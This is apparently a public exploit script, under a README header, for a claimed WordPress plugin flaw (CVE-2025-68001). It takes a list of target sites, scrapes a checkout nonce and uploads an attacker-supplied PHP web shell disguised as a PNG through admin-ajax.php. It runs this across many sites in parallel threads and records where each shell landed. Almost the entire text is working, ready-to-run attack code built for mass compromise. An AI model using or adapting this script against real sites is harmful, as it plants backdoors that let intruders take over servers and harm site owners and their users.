README.md
Rendering markdown...
import threading
import requests
import time
import random
import os
import sys
import json
import re
from queue import Queue
from rich.console import Console
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, BarColumn, TimeElapsedColumn, TextColumn
from rich.table import Table
from rich.text import Text
from rich.box import MINIMAL
from rich.align import Align
from rich.style import Style
console = Console()
requests.packages.urllib3.disable_warnings()
os.environ["NO_PROXY"] = "*"
RESULT_FILE = "success_results.txt"
MAX_THREADS = 50
DEFAULT_SHELL = "shell.php"
def Nxploited_banner():
banner = (
" _ _ _ _ _ _ _ _ _ _ \n"
" / \\ / |_ __ ) / \\ ) |_ __ |_ (_) / \\ / \\ /| \n"
" \\_ \\/ |_ /_ \\_/ /_ _) |_) (_) \\_/ \\_/ | \n"
" "
)
header = Panel(
Align.center(
Text(banner, style=Style(color="bright_magenta", bold=True)),
vertical="middle"
),
border_style="magenta",
padding=(1, 2),
style="on #05010A"
)
meta_table = Table.grid(expand=True)
meta_table.add_column(justify="left", ratio=1)
meta_table.add_column(justify="right", ratio=1)
left_block = Text.assemble(
("CVE-2025-68001\n", Style(color="bright_magenta", bold=True)),
("Unauthenticated Arbitrary File Upload\n", Style(color="bright_white")),
("Nxploited\n", Style(color="bright_cyan", italic=True)),
)
right_block = Text.assemble(
("#Nxploited\n", Style(color="magenta", bold=True)),
("github.com/Nxploited\n", Style(color="bright_blue", underline=True)),
)
meta_table.add_row(left_block, right_block)
meta_panel = Panel(
Align.center(meta_table),
border_style="bright_magenta",
padding=(1, 2),
style="on #05010A"
)
layout_table = Table.grid(expand=True)
layout_table.add_row(header)
layout_table.add_row(meta_panel)
console.print(layout_table)
console.print()
def Nxploited_mini_banner():
text = Text()
text.append("Nxploited", style=Style(color="magenta", bold=True))
text.append(" • ", style=Style(color="bright_black"))
text.append("github.com/Nxploited", style=Style(color="bright_blue", underline=True))
return text
def Nxploited_typewriter(text, style="white", speed=0.008):
for ch in text:
console.print(ch, style=style, end="", soft_wrap=False)
time.sleep(speed)
console.print()
def Nxploited_input_targets_file():
Nxploited_typewriter("Enter targets file name (default: list.txt): ", style="yellow")
file = console.input("> ").strip()
return file if file else "list.txt"
def Nxploited_input_shell_file():
Nxploited_typewriter(f"Enter shell file name to upload (default: {DEFAULT_SHELL}): ", style="magenta")
file = console.input("> ").strip()
return file if file else DEFAULT_SHELL
def Nxploited_input_threads():
Nxploited_typewriter(f"Enter number of threads (default: {MAX_THREADS}): ", style="cyan")
inp = console.input("> ").strip()
try:
n = int(inp)
if n < 1:
n = 1
if n > MAX_THREADS:
console.print(f"[yellow]Threads exceed max: {MAX_THREADS}, capping.")
n = MAX_THREADS
return n
except Exception:
return MAX_THREADS
def Nxploited_read_targets(filename):
targets = []
try:
with open(filename, "r", encoding="utf-8") as f:
for line in f:
url = line.strip()
if url:
targets.append(url)
except Exception as e:
console.print(f"[red]Error: {e}")
sys.exit(1)
return targets
def Nxploited_write_result(data):
with open(RESULT_FILE, "a", encoding="utf-8") as f:
f.write(data + "\n")
def Nxploited_check_checkout_reachable(base_url):
ua = random.choice([
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64) Gecko/20100101 Firefox/115.0"
])
base_url = base_url.rstrip("/")
headers = {
"User-Agent": ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
try:
r = requests.get(f"{base_url}/checkout", headers=headers, timeout=15, verify=False)
if r.status_code != 200:
return False, None
return True, r.text
except Exception:
return False, None
def Nxploited_extract_checkout_nonce(html):
if not html:
return None
try:
m = re.search(r'fflcheckout_ajax\s*=\s*{[^}]*"checkout_nonce"\s*:\s*"([a-zA-Z0-9]+)"', html)
if m:
return m.group(1)
except Exception:
pass
try:
m = re.search(r'ffl_widget_data\s*=\s*{[^}]*"checkout_nonce"\s*:\s*"([a-zA-Z0-9]+)"', html)
if m:
return m.group(1)
except Exception:
pass
try:
m = re.search(r'checkout_nonce["\']?\s*[:=]\s*["\']([a-zA-Z0-9]+)', html)
if m:
return m.group(1)
except Exception:
pass
return None
def Nxploited_exploit_upload_ffl(base_url, shell_path, html_checkout=None):
ua = random.choice([
"Mozilla/5.0 (Windows NT 10.0; Win64; x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
])
base_url = base_url.rstrip("/")
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": ua,
"Accept": "*/*",
})
if html_checkout is None:
try:
r = session.get(f"{base_url}/checkout", timeout=20)
html_checkout = r.text if r.status_code == 200 else ""
except Exception as e:
return None, f"Failed to GET /checkout: {e}"
if not html_checkout:
return None, "Empty /checkout response"
checkout_nonce = Nxploited_extract_checkout_nonce(html_checkout)
if not checkout_nonce:
return None, "Failed to extract checkout_nonce"
ajax_url = f"{base_url}/wp-admin/admin-ajax.php"
files = {}
data = {
"action": "ffl_upload_document",
"nonce": checkout_nonce,
"document_type": "document"
}
try:
with open(shell_path, "rb") as filedata:
files["document"] = (os.path.basename(shell_path), filedata, "image/png")
resp = session.post(ajax_url, data=data, files=files, timeout=25)
except Exception as e:
return None, f"Upload request failed: {e}"
try:
j = resp.json()
except Exception:
return None, f"Non-JSON response (status {resp.status_code}): {resp.text[:200]}"
if not j.get("success"):
msg = j.get("message") or j.get("data", {}).get("message") or "Unknown error"
return None, f"Upload failed: {msg}"
data_obj = j.get("data") or {}
filename = data_obj.get("filename")
file_path = data_obj.get("file_path")
unique_filename = data_obj.get("unique_filename")
result_info = {
"filename": filename,
"file_path": file_path,
"unique_filename": unique_filename,
"raw_json": j
}
return result_info, None
def Nxploited_print_success_card(site, info):
table = Table(box=MINIMAL, expand=True, show_header=False, pad_edge=True)
left = Text.from_markup("[bold green]Success[/bold green]", justify="center")
details_lines = []
details_lines.append(f"[bold #22c55e]{site}")
if info.get("filename"):
details_lines.append(f"[white]Original Name: [bright_green]{info['filename']}")
if info.get("unique_filename"):
details_lines.append(f"[white]Unique Name: [bright_green]{info['unique_filename']}")
if info.get("file_path"):
details_lines.append(f"[white]Stored Path: [bright_green]{info['file_path']}")
details = "\n".join(details_lines) + "\n"
table.add_row(left, details)
card = Panel(Align.center(table), border_style="green", padding=(1, 2), style="on #0F0716")
console.print(card)
def Nxploited_printer_loop(queue, progress_task_id, progress):
while True:
res = queue.get()
if res is None:
break
typ = res[0]
if typ == "info":
console.print(res[1])
elif typ == "success":
_, site, info = res
Nxploited_print_success_card(site, info)
elif typ == "failed":
console.print(f"[red]{res[1]} => Exploit failed ❌")
if progress and progress_task_id is not None:
try:
progress.advance(progress_task_id)
except Exception:
pass
def Nxploited_worker(thread_id, targets_chunk, shell_file, out_queue, progress_task_id, progress):
for site in targets_chunk:
site = site.strip()
if not site:
continue
if not site.startswith("http://") and not site.startswith("https://"):
site = "http://" + site
reachable, html = Nxploited_check_checkout_reachable(site)
if not reachable:
out_queue.put(("info", f"{site}: /checkout not reachable or not 200"))
out_queue.put(("failed", site))
continue
out_queue.put(("info", f"[blue]{site}: /checkout reachable. Trying exploit..."))
info, err = Nxploited_exploit_upload_ffl(site, shell_file, html_checkout=html)
if info and not err:
line = f"{site} | {info.get('file_path')} | {info.get('unique_filename')} | {info.get('filename')}"
Nxploited_write_result(line)
out_queue.put(("success", site, info))
else:
reason = err or "Unknown error"
out_queue.put(("failed", f"{site} ({reason})"))
out_queue.put(("info", f"Thread {thread_id} finished"))
def Nxploited_chunkify(lst, n):
if n <= 0:
n = 1
return [lst[i::n] for i in range(n)]
def Nxploited():
console.clear()
Nxploited_banner()
console.print(Nxploited_mini_banner())
Nxploited_typewriter("→ Press Enter to start", style="bold magenta")
console.input()
targets_file = Nxploited_input_targets_file()
shell_file = Nxploited_input_shell_file()
num_threads = Nxploited_input_threads()
if not os.path.isfile(shell_file):
console.print(f"[red]Shell file not found: {shell_file}")
sys.exit(1)
targets = Nxploited_read_targets(targets_file)
if not targets:
console.print("[red]No targets found in list.")
sys.exit(1)
safe_threads = min(num_threads, max(1, min(MAX_THREADS, len(targets))))
queue = Queue()
progress = Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(),
"[cyan]{task.completed}/{task.total}",
TimeElapsedColumn(),
transient=True
)
with progress:
task_id = progress.add_task("[magenta]Processing targets...", total=len(targets))
printer = threading.Thread(target=Nxploited_printer_loop, args=(queue, task_id, progress), daemon=True)
printer.start()
chunks = Nxploited_chunkify(targets, safe_threads)
threads = []
for i in range(safe_threads):
th = threading.Thread(
target=Nxploited_worker,
args=(i, chunks[i], shell_file, queue, task_id, progress),
daemon=True
)
th.start()
threads.append(th)
for th in threads:
th.join()
queue.put(None)
printer.join()
console.print(Panel.fit(
f"[bright_magenta]All targets processed ✔️. Results saved to: [bold magenta]{RESULT_FILE}[/]",
title="[magenta]Done!",
style="black on bright_magenta",
border_style="bright_magenta",
padding=(1, 2)
))
if __name__ == "__main__":
Nxploited()